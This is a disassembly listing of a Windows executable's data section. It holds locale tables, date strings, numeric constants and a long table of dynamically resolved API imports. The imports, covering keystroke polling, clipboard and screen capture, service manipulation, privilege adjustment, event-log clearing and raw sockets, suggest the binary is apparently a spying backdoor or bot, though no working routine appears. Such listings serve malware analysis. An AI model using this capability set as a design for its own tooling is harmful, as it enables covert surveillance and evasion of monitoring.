dd offset byte_4D5345 dd offset aMexico ; "Mexico" dd 58454Dh, 303538h, 0 a1252_5 db '1252',0 align 4 dd 80Ch, 63303830h, 0 dd offset aFrench ; "French" dd offset loc_425246 dd offset aBelgium ; "Belgium" dd offset word_4C4542 dd 303538h, 0 a1252_6 db '1252',0 align 10h dd 0C07h, 37306330h, 0 dd offset aGerman ; "German" dd offset loc_414542+2 dd offset aAustria ; "Austria" dd 545541h, 303538h, 0 a1252_7 db '1252',0 align 4 dd 0C09h, 39306330h, 0 dd offset aEnglish ; "English" dd offset loc_414E43+2 dd offset aAustralia ; "Australia" dd 535541h, 303538h, 0 a1252_8 db '1252',0 align 4 dd 0C0Ah, 61306330h, 0 dd offset aSpanishModernS ; "Spanish - Modern Sort" dd offset byte_4E5345 dd offset aSpain ; "Spain" dd 505345h, 303538h, 0 a1252_9 db '1252',0 align 4 dd 0C0Ch, 63306330h, 0 dd offset aFrench ; "French" dd offset dword_435230+16h dd offset aCanada ; "Canada" dd offset byte_4E4143 dd 303538h, 0 a1252_10 db '1252',0 align 10h dd 100Ah, 61303031h, 0 dd offset aSpanish ; "Spanish" dd offset byte_475345 dd offset aGuatemala ; "Guatemala" dd offset byte_4D5447 dd 303538h, 0 a1252_11 db '1252',0 align 4 dd 100Ch, 63303031h, 0 dd offset aFrench ; "French" dd 535246h, 435818h, 454843h, 303538h, 0 a1252_12 db '1252',0 align 4 dd 140Ah, 61303431h, 0 dd offset aSpanish ; "Spanish" dd offset aLc_monetary+1 dd offset aCostaRica ; "Costa Rica" dd offset byte_495243 dd 303538h, 0 a1252_13 db '1252',0 align 4 dd 140Ch, 63303431h, 0 dd offset aFrench ; "French" dd offset word_4C5246 dd offset aLuxembourg ; "Luxembourg" dd 58554Ch, 303538h, 0 a1252_14 db '1252',0 align 10h dd 180Ah, 61303831h, 0 dd offset aSpanish ; "Spanish" dd offset loc_415344+1 dd offset aPanama ; "Panama" dd offset dword_4E4150 dd 303538h, 0 a1252_15 db '1252',0 align 4 dd 1C09h, 39306331h, 0 dd offset aEnglish ; "English" dd 534E45h, 4357E8h, 46415Ah, 373334h, 0 a1252_16 db '1252',0 align 4 dd 1C0Ah, 61306331h, 0 dd offset aSpanish ; "Spanish" dd offset dword_445260+0E5h dd offset aDominicanRepub ; "Dominican Republic" dd offset dword_4D4F44 dd 303538h, 0 a1252_17 db '1252',0 align 4 db 0Ah db ' ',0 align 4 a200a db '200a',0 align 10h dd offset aSpanish ; "Spanish" dd 565345h, 4357C8h, 4E4556h, 303538h, 0 a1252_18 db '1252',0 align 10h db 0Ah db '$',0 align 4 a240a db '240a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4F5345 dd offset aColombia ; "Colombia" dd offset byte_4C4F43 dd 303538h, 0 a1252_19 db '1252',0 align 4 db 0Ah db '(',0 align 10h a280a db '280a',0 align 4 dd offset aSpanish ; "Spanish" dd 525345h, 4357B4h, 524550h, 303538h, 0 a1252_20 db '1252',0 align 4 db 0Ah db ',',0 align 4 a2c0a db '2c0a',0 align 4 dd offset aSpanish ; "Spanish" dd 535345h, 4357A8h, 475241h, 303538h, 0 a1252_21 db '1252',0 align 4 a0 db 0Ah db '0',0 align 4 a300a db '300a',0 align 10h dd offset aSpanish ; "Spanish" dd offset byte_465345 dd offset aEcuador ; "Ecuador" dd 554345h, 303538h, 0 a1252_22 db '1252',0 align 10h a4 db 0Ah db '4',0 align 4 a340a db '340a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4C5345 dd offset aChile ; "Chile" dd offset byte_4C4843 dd 303538h, 0 a1252_23 db '1252',0 align 4 a8 db 0Ah db '8',0 align 10h a380a db '380a',0 align 4 dd offset aSpanish ; "Spanish" dd 595345h, 435790h, 595255h, 303538h, 0 a1252_24 db '1252',0 align 4 db 0Ah db '<',0 align 4 a3c0a db '3c0a',0 align 4 dd offset aSpanish ; "Spanish" dd 5A5345h, 435784h, 595250h, 303538h, 0 a1252_25 db '1252',0 align 4 word_447FD4 dw 0C0Ch, 0C1Ah, 1007h, 436h, 80Ch, 42Dh, 403h, 100Ch ; DATA XREF: sub_42DCA0+34r dw 810h, 81Dh off_447FE8 dd offset aAmerica ; DATA XREF: sub_42D2B0+9Co ; "america" dd offset loc_415354+1 dd offset aBritain ; "britain" dd 524247h, 4359D8h, 4E4843h, 4359D0h, 455A43h, 4359C8h dd 524247h, 4359B8h, 524247h, 4359B0h, 444C4Eh, 4359A4h dd 474B48h, 435998h, 4C5A4Eh, 435994h, 4C5A4Eh, 435988h dd 4E4843h, 43597Ch, 4E4843h, 435970h, 495250h, 435968h dd 4B5653h, 435958h, 46415Ah, 43594Ch, 524F4Bh, 43593Ch dd 46415Ah, 435930h, 524F4Bh, 43591Ch, 4F5454h, 4359F8h dd 524247h, 43590Ch, 524247h, 4358FCh, 415355h, 4359F4h dd 415355h off_4480A0 dd offset aAmerican ; DATA XREF: sub_42D2B0+67o ; "american" dd 554E45h, 435DE4h, 554E45h, 435DD0h, 554E45h, 435DC4h dd 414E45h, 435DBCh, 424C4Eh, 435DB0h, 434E45h, 435DACh dd 48485Ah, 435DA8h, 49485Ah, 435DA0h, 534843h, 435D8Ch dd 48485Ah, 435D78h, 534843h, 435D64h, 49485Ah, 435D50h dd 544843h, 435D40h, 424C4Eh, 435D2Ch, 554E45h, 435D20h dd 414E45h, 435D10h, 4C4E45h, 435D04h, 434E45h, 435CF0h dd 424E45h, 435CE4h, 494E45h, 435CD4h, 4A4E45h, 435CC8h dd 5A4E45h, 435CB0h, 534E45h, 435C94h, 544E45h, 435C88h dd 474E45h, 435C7Ch, 554E45h, 435C70h, 554E45h, 435C60h dd 425246h, 435C50h, 435246h, 435C3Ch, 4C5246h, 435C2Ch dd 535246h, 435C1Ch, 414544h, 435C08h, 434544h, 435BF4h dd 4C4544h, 435BE4h, 534544h, 435BD4h, 494E45h, 435BC4h dd 535449h, 435BB8h, 524F4Eh, 435BA4h, 524F4Eh, 435B90h dd 4E4F4Eh, 435B78h, 425450h, 435B64h, 535345h, 435B54h dd 425345h, 435B44h, 4C5345h, 435B30h, 4F5345h, 435B1Ch dd 435345h, 435B00h, 445345h, 435AF0h, 465345h, 435ADCh dd 455345h, 435AC8h, 475345h, 435AB4h, 485345h, 435AA4h dd 4D5345h, 435A94h, 4E5345h, 435A80h, 495345h, 435A70h dd 415345h, 435A5Ch, 5A5345h, 435A4Ch, 525345h, 435A38h dd 555345h, 435A28h, 595345h, 435A14h, 565345h, 435A04h dd 465653h, 4359FCh, 534544h, 4359F8h, 474E45h, 4359F4h dd 554E45h, 4359F0h, 554E45h off_4482A8 dd offset off_4482B0 ; DATA XREF: sub_42BD70+70w ; sub_42BD70:loc_42BE11w ... align 10h off_4482B0 dd offset aSun ; DATA XREF: sub_42BD70:loc_42BE11o ; .data:off_4482A8o ; "Sun" dd offset aMon ; "Mon" dd offset aTue ; "Tue" dd offset aWed ; "Wed" dd offset aThu ; "Thu" dd offset aFri ; "Fri" dd offset aSat ; "Sat" dd offset aSunday ; "Sunday" dd offset aMonday ; "Monday" dd offset aTuesday ; "Tuesday" dd offset aWednesday ; "Wednesday" dd offset aThursday ; "Thursday" dd offset aFriday ; "Friday" dd offset aSaturday ; "Saturday" dd offset aJan ; "Jan" dd offset aFeb ; "Feb" dd offset aMar ; "Mar" dd offset aApr ; "Apr" dd offset aMay ; "May" dd offset aJun ; "Jun" dd offset aJul ; "Jul" dd offset aAug ; "Aug" dd offset aSep ; "Sep" dd offset aOct ; "Oct" dd offset aNov ; "Nov" dd offset aDec ; "Dec" dd offset aJanuary ; "January" dd offset aFebruary ; "February" dd offset aMarch ; "March" dd offset aApril ; "April" dd offset aMay ; "May" dd offset aJune ; "June" dd offset aJuly ; "July" dd offset aAugust ; "August" dd offset aSeptember ; "September" dd offset aOctober ; "October" dd offset aNovember ; "November" dd offset aDecember ; "December" dd offset aAm_0 ; "AM" dd offset aPm_1 ; "PM" dd offset aMDYy ; "M/d/yy" dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy" dd offset aHMmSs ; "H:mm:ss" align 10h dword_448360 dd 2Eh, 0 ; .data:off_448368o off_448368 dd offset dword_448360 ; DATA XREF: .data:0042CAF4w ; .data:0042CB16o ... off_44836C dd offset dword_4DE238 ; DATA XREF: .data:0042CB02w off_448370 dd offset dword_4DE238 ; DATA XREF: .data:0042CB11w dd offset dword_4DE238 dd offset dword_4DE238 dd offset dword_4DE238 dd offset dword_4DE238 dd offset dword_4DE238 dd offset dword_4DE238 dd offset dword_4DE238 dd 2 dup(7F7F7F7Fh) off_448398 dd offset off_448368 ; DATA XREF: sub_42C6F0:loc_42C7D9r ; sub_42C6F0+F8r ... align 10h dword_4483A0 dd 7080h ; sub_431AB0+9Br ... dword_4483A4 dd 1 ; sub_431AB0:loc_431B8Ew ... dword_4483A8 dd 0FFFFF1F0h ; sub_431AB0+E8w ... dword_4483AC dd 545350h, 0Fh dup(0)dword_4483EC dd 544450h, 0Fh dup(0)off_44842C dd offset dword_4483AC ; DATA XREF: sub_430010+534r ; sub_431AB0+FAr ... off_448430 dd offset dword_4483EC ; DATA XREF: sub_431AB0+140r ; sub_431AB0+16Ar ... align 8 dword_448438 dd 0FFFFFFFFh ; sub_431E90+1Ar ... dword_44843C dd 0 ; sub_431E90+20Fr ... dword_448440 dd 0 ; sub_432190+13Dw align 8 dword_448448 dd 0FFFFFFFFh ; sub_431AB0+2Br ... dword_44844C dd 0 ; sub_431E90+21Dr ... dword_448450 dd 0 ; sub_432190+177w ... align 8 dword_448458 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_4485B8 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_431980+2Ao dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh dword_448710 dd 0AD8A6DDh ; sub_432190+E9r dword_448714 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_448744 dd 16Dh ; sub_432190+F8r dword_448748 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 off_448780 dd offset off_4360FC ; DATA XREF: .data:off_436120o ; .data:0043624Co ... align 8 a_?avexception@ db '.?AVexception@@',0 off_448798 dd offset off_4360FC ; DATA XREF: .data:off_436138o ; .data:0043617Co ... align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_4487B8 dd offset off_4360FC ; DATA XREF: .data:off_436188o ; .data:004361CCo ... align 10h a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_4487D8 dd offset off_4360FC ; DATA XREF: .data:off_4361D8o ; .data:0043621Co ... align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_4487F8 dd offset off_4360FC ; DATA XREF: .data:off_436258o ; .data:00436294o align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42A4F0 align 8 dword_448818 dd 0 dword_44881C dd 0 dword_448820 dd 0 ; sub_401C87+AD6o ... dd 5 dup(0) dword_448838 dd 0 ; sub_40F82F+60r dd 2D9h dup(0) dword_4493A0 dd 0 ; sub_401C87+4AAFr ... dd 7Fh dup(0) dword_4495A0 dd 0 ; sub_40979E+3Aw ... dword_4495A4 dd 0 ; sub_40979E+40w ... dword_4495A8 dd 0 ; sub_40979E+34r ... dword_4495AC dd 0 ; sub_4019A5+B9w ... dword_4495B0 dd 0 ; sub_409979+2Aw ... dword_4495B4 dd 0 ; sub_401404+441w ... byte_4495B8 db 0 ; DATA XREF: sub_4019A5+91o ; sub_401C87+49FAr ... align 4 dd 3025h dup(0) db 3 dup(0) byte_455653 db 0 ; DATA XREF: .data:00447BF0o dd 3Fh dup(0) db 3 dup(0) byte_455753 db 0 ; DATA XREF: .data:00447BF8o dd 3EFCh dup(0) db 0 byte_465345 db 3 dup(0) ; DATA XREF: .data:00447F34o dd 3FFFh dup(0) db 0 byte_475345 db 3 dup(0) ; DATA XREF: .data:00447D50o dd 7FBEh dup(0) db 3 dup(0) byte_495243 db 0 ; DATA XREF: .data:00447DB0o dd 0BCBFh dup(0) db 2 dup(0) word_4C4542 dw 0 ; DATA XREF: .data:00447C7Co dd 0BFh dup(0) db 3 dup(0) byte_4C4843 db 0 ; DATA XREF: .data:00447F68o dd 1BFh dup(0) db 3 dup(0) byte_4C4F43 db 0 ; DATA XREF: .data:00447EB8o dd 0C0h dup(0) db 2 dup(0) word_4C5246 dw 0 ; DATA XREF: .data:00447DD4o dd 3Fh dup(0) db 0 byte_4C5345 db 3 dup(0) ; DATA XREF: .data:00447F60o db 0 byte_4C5349 db 3 dup(0) ; DATA XREF: .data:00447BC4o ; .data:00447BCCo dd 3B81h dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: .data:off_4431E8o dd 37Ch dup(0) dword_4D4F44 dd 100h dup(0) db 0 byte_4D5345 db 3 dup(0) ; DATA XREF: .data:00447C48o dd 3Fh dup(0) db 3 dup(0) byte_4D5447 db 0 ; DATA XREF: .data:00447D58o dd 3D6h dup(0) dword_4D63A0 dd 920Dh ; sub_409663+13o ... dword_4D63A4 dd 2FE1h ; sub_401C87:loc_404159r ... dword_4D63A8 dd 0 dword_4D63AC dd 20h dup(0) ; sub_401404+50Do ... dword_4D642C dd 10h dup(0) dword_4D646C dd 24h dup(0) dword_4D64FC dd 0 ; sub_401404+524w ... dword_4D6500 dd 0 dd 2 dup(0) byte_4D650C db 0 ; DATA XREF: sub_401404+4B2o ; sub_401404+530o byte_4D650D db 0 ; DATA XREF: sub_401404:loc_401944r ; sub_401404+54Eo byte_4D650E db 0 ; DATA XREF: sub_401404+564o byte_4D650F db 0 ; DATA XREF: sub_401404+576o db 0 byte_4D6511 db 3 dup(0) ; DATA XREF: .data:00437810o dword_4D6514 dd 0 ; sub_401404+4E2r ... dword_4D6518 dd 0 ; sub_401C87+87Br byte_4D651C db 0 ; DATA XREF: sub_401404+23Eo byte_4D651D db 0 ; DATA XREF: sub_401C87+1AD1o word_4D651E dw 0 ; DATA XREF: sub_401C87+47ECo dword_4D6520 dd 0 dword_4D6524 dd 77F16E6Fh ; resolved to->GDI32.DeleteDC ; sub_4076E5+4EBr ... dword_4D6528 dd 7C864230h ; resolved to->KERNEL32.Module32First ; sub_4137F3+163r dword_4D652C dd 42C5AE03h ; resolved to->WININET.InternetGetConnectedStateExA ; sub_4076E5+880r ... dword_4D6530 dd 5B894364h ; sub_4076E5+A43r ... dword_4D6534 dd 5B86FEB8h ; sub_4076E5+A13r ... dword_4D6538 dd 77F15B80h ; resolved to->GDI32.SelectObject ; sub_4076E5+4DBr ... dword_4D653C dd 7E41C505h ; resolved to->USER32.GetKeyState ; sub_4076E5+234r dword_4D6540 dd 5B894160h ; sub_4076E5+A3Br ... dword_4D6544 dd 77DEB88Ch ; resolved to->ADVAPI32.OpenServiceA ; sub_4076E5+3C7r ... dword_4D6548 dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameA ; sub_4147AC+11Er dword_4D654C dd 77DF3238h ; resolved to->ADVAPI32.StartServiceA ; sub_4076E5+3CFr ... dword_4D6550 dd 77DFCF32h ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_41285C+ADr dword_4D6554 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSet ; sub_40D826+115r dword_4D6558 dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_4076E5+D2r ... dword_4D655C dd 5B86FDE8h ; sub_4076E5+A06r ... dword_4D6560 dd 77DE5E4Dh ; resolved to->ADVAPI32.CloseServiceHandle ; sub_4076E5+3E7r ... dword_4D6564 dd 42C41384h ; resolved to->WININET.InternetCrackUrlA ; sub_4076E5+8ACr ... dword_4D6568 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_4076E5+2F0r ... dword_4D656C dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlA ; sub_4076E5+8A4r ... dword_4D6570 dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequencydword_4D6574 dd 42C2ABF4h ; resolved to->WININET.InternetReadFile ; sub_4076E5+8B4r ... dword_4D6578 dd 71AC0979h ; resolved to->WS2_32.WSAAsyncSelect ; sub_4076E5+6D0r ... dword_4D657C dd 7C863F58h ; resolved to->KERNEL32.Process32Next ; sub_4076E5+CAr ... dword_4D6580 dd 76D64B79h ; resolved to->IPHLPAPI.IcmpSendEchodword_4D6584 dd 76F3798Ah ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_4076E5+A95w ... dword_4D6588 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_4076E5+F2r dword_4D658C dd 77F1AC3Dh ; resolved to->GDI32.GetDIBColorTable ; sub_4076E5+4D3r ... dword_4D6590 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_40A4FF+20r ... dword_4D6594 dd 5B8A3009h ; sub_4076E5+A33r dword_4D6598 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_4076E5+754r ... dword_4D659C dd 5B869A3Ah dword_4D65A0 dd 71B25099h ; sub_4098A5+16o ... dword_4D65A4 dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; sub_4076E5+86Dr ... dword_4D65A8 dd 7E45A045h ; resolved to->USER32.ExitWindowsEx ; sub_411DBC+15r dword_4D65AC dd 5B868E65h ; sub_4076E5+A1Br ... dword_4D65B0 dd 77DEB635h ; resolved to->ADVAPI32.ControlService ; sub_4076E5+3D7r ... dword_4D65B4 dd 77E37311h ; resolved to->ADVAPI32.DeleteService ; sub_4076E5+3DFr ... dword_4D65B8 dd 73B81E3Bh ; sub_4076E5+C8Cr ... dword_4D65BC dd 71AC0B50h ; resolved to->WS2_32.getpeernamedword_4D65C0 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_401300+23r ... dword_4D65C4 dd 77F16C0Ah ; resolved to->GDI32.DeleteObject ; sub_40FC06+207r dword_4D65C8 dd 5B894541h ; sub_4076E5+A4Br ... dword_4D65CC dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueA ; sub_4076E5+2B2w ... dword_4D65D0 dd 7C82C2D3h ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_4076E5+DAr ... dword_4D65D4 dd 7CA41110h ; resolved to->SHELL32.ShellExecuteA ; sub_401C87+4533r ... dword_4D65D8 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_401C87+411Fr ... dword_4D65DC dd 42C2CD78h ; resolved to->WININET.HttpSendRequestA ; sub_4076E5+890r ... dword_4D65E0 dd 5B897BE9h ; sub_4076E5+A23r dword_4D65E4 dd 74344AE7h ; sub_4076E5+C3Fr ... dword_4D65E8 dd 77DF64A0h ; resolved to->ADVAPI32.OpenEventLogA ; sub_411F66+47r dword_4D65EC dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindowdword_4D65F0 dd 76D64D5Eh ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_4076E5+92Er dword_4D65F4 dd 74327E4Dh dword_4D65F8 dd 77E0C4B8h ; resolved to->ADVAPI32.ClearEventLogA ; sub_411F66+4Fr dword_4D65FC dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError ; sub_4076E5+6E8r ... dword_4D6600 dd 42C2C8A1h ; resolved to->WININET.InternetOpenA ; sub_4076E5+873r dword_4D6604 dd 7E43212Bh ; resolved to->USER32.GetWindowTextA ; sub_4076E5+23Cr dword_4D6608 dd 7E41B933h ; resolved to->USER32.IsWindow ; sub_4076E5+1C2r ... dword_4D660C dd 71AB951Eh ; resolved to->WS2_32.getsockname ; sub_401C87+46E9r ... dword_4D6610 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_401C87+41A9r ... dword_4D6614 dd 71AB4489h ; resolved to->WS2_32.WSAIoctl ; sub_4076E5+6DCr dword_4D6618 dd 0CC0004h ; sub_4076E5:loc_407FDEw ... dword_4D661C dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_4076E5+28Bw ... dword_4D6620 dd 71ABE479h ; resolved to->WS2_32.gethostbyaddr ; sub_4076E5+69Fw ... dword_4D6624 dd 77DFD11Bh ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_4076E5+341r ... dword_4D6628 dd 77DEAF3Fh ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_4076E5+3EFr ... dword_4D662C dd 743452A3h ; sub_4076E5+C37r ... dword_4D6630 dd 42C24399h ; resolved to->WININET.HttpOpenRequestA ; sub_4076E5+888r ... dword_4D6634 dd 7E41F3B3h ; resolved to->USER32.GetAsyncKeyState ; sub_4076E5+227r dword_4D6638 dd 7E430237h ; resolved to->USER32.OpenClipboard ; sub_4076E5+1D2r ... dword_4D663C dd 42C249F2h ; resolved to->WININET.InternetConnectA ; sub_4076E5+898r ... dword_4D6640 dd 71AB2D0Fh ; resolved to->WS2_32.recvfrom ; sub_4076E5+774r ... dword_4D6644 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_4076E5+2BFw ... dword_4D6648 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; sub_4076E5+79Cr ... dword_4D664C dd 77DD7753h ; resolved to->ADVAPI32.OpenProcessToken ; sub_4076E5+334r ... dword_4D6650 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_4076E5+784r ... dword_4D6654 dd 77F1B221h ; resolved to->GDI32.CreateDCA ; sub_4076E5+4AEr ... dword_4D6658 dd 7E430D7Ah ; resolved to->USER32.GetClipboardData ; sub_4076E5+1DAr ... dword_4D665C dd 77DEADA7h ; resolved to->ADVAPI32.OpenSCManagerA ; sub_4076E5+3BAr ... dword_4D6660 dd 76F37ABDh ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_4D6664 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_4076E5+748r ... dword_4D6668 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_401C87+415Br ... dword_4D666C dd 7C863DE5h ; resolved to->KERNEL32.Process32First ; sub_4076E5+C2r ... dword_4D6670 dd 77F15A7Ah ; resolved to->GDI32.GetDeviceCaps ; sub_4076E5+4CBr ... dword_4D6674 dd 7E42DE87h ; resolved to->USER32.FindWindowA ; sub_4076E5+1BAr ... dword_4D6678 dd 5B8A5199h ; sub_4076E5+A5Br ... dword_4D667C dd 71AB50C8h ; resolved to->WS2_32.gethostname ; sub_4076E5+7ACr dword_4D6680 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_401C87+41BEr ... dword_4D6684 dd 74343318h ; sub_4076E5+C47r ... dword_4D6688 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_4076E5+BAr ... dword_4D668C dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_4076E5+298w ... dword_4D6690 dd 71AB88D3h ; resolved to->WS2_32.listen ; sub_4076E5+78Cr ... dword_4D6694 dd 71AB3E00h ; resolved to->WS2_32.bind ; sub_4076E5+77Cr ... dword_4D6698 dd 73B81B0Fh ; sub_4076E5+C92w dword_4D669C dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandle ; sub_410C53+4C9r ... dword_4D66A0 dd 0 dword_4D66A4 dd 743527D4h ; sub_4076E5+C22r ... dword_4D66A8 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_401C87+4BDFr ... dword_4D66AC dd 77F19219h ; resolved to->GDI32.CreateDIBSection ; sub_4076E5+4BBr ... dword_4D66B0 dd 77F16F89h ; resolved to->GDI32.BitBlt ; sub_4076E5+4E3r ... dword_4D66B4 dd 77F15FF0h ; resolved to->GDI32.CreateCompatibleDC ; sub_4076E5+4C3r ... dword_4D66B8 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_401C87+41DBr ... dword_4D66BC dd 7E430225h ; resolved to->USER32.CloseClipboard ; sub_4076E5+1E2r ... dword_4D66C0 dd 5B86AA41h ; sub_4076E5+A53r ... dword_4D66C4 dd 7E42F383h ; resolved to->USER32.SendMessageA ; sub_4076E5+1ADr ... dword_4D66C8 dd 7C8214E3h ; resolved to->KERNEL32.GetDriveTypeA ; sub_4076E5+E2r ... dword_4D66CC dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_4076E5+764r ... dword_4D66D0 dd 71B2547Ah ; sub_4076E5+B5Fr dword_4D66D4 dd 77DFC534h ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_413788+55r dword_4D66D8 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_4076E5+2D3r ... dword_4D66DC dd 7CA235CBh ; resolved to->SHELL32.SHChangeNotifydword_4D66E0 dd 76D6A195h ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_40879E+D4r dword_4D66E4 dd 76D69962h ; resolved to->IPHLPAPI.GetIpNetTable ; sub_4076E5+AE6r ... dword_4D66E8 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_401C87+413Ar ... dword_4D66EC dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_401C87+412Cr ... dword_4D66F0 dd 7432FF6Bh ; sub_4076E5+C2Fr ... dword_4D66F4 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_401C87+388Er ... dword_4D66F8 dd 5B867750h ; sub_4076E5+A2Br ... dword_4D66FC dd 71AC1028h ; resolved to->WS2_32.accept ; sub_4076E5+794r ... dword_4D6700 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_4019A5+D0r ... dword_4D6704 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_4076E5+70Cr ... dword_4D6708 dd 71B2578Ch ; sub_4076E5+B57r dword_4D670C dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; sub_4076E5+6C4r dword_4D6710 dd 71B2517Fh ; sub_4076E5+B4Ar dword_4D6714 dd 7C80AC0Fh ; resolved to->KERNEL32.SetErrorMode ; sub_4076E5+31w ... dword_4D6718 dd 7E41DAEAh ; resolved to->USER32.DestroyWindow ; sub_4076E5+1CAr ... dword_4D671C dd 76D64D33h ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_4076E5+93Br dword_4D6720 dd 7C8217EAh ; resolved to->KERNEL32.SearchPathA ; sub_4076E5+EAr ... dword_4D6724 dd 0 ; sub_4076E5+12Bw ... dword_4D6728 dd 0 ; sub_4083A1+1Cr dword_4D672C dd 0 ; sub_4076E5:loc_40793Aw ... dword_4D6730 dd 0 ; sub_4083A1+50r dword_4D6734 dd 0 ; sub_401C87+2DD1r ... dword_4D6738 dd 0 ; sub_4083A1+84r dword_4D673C dd 0 ; 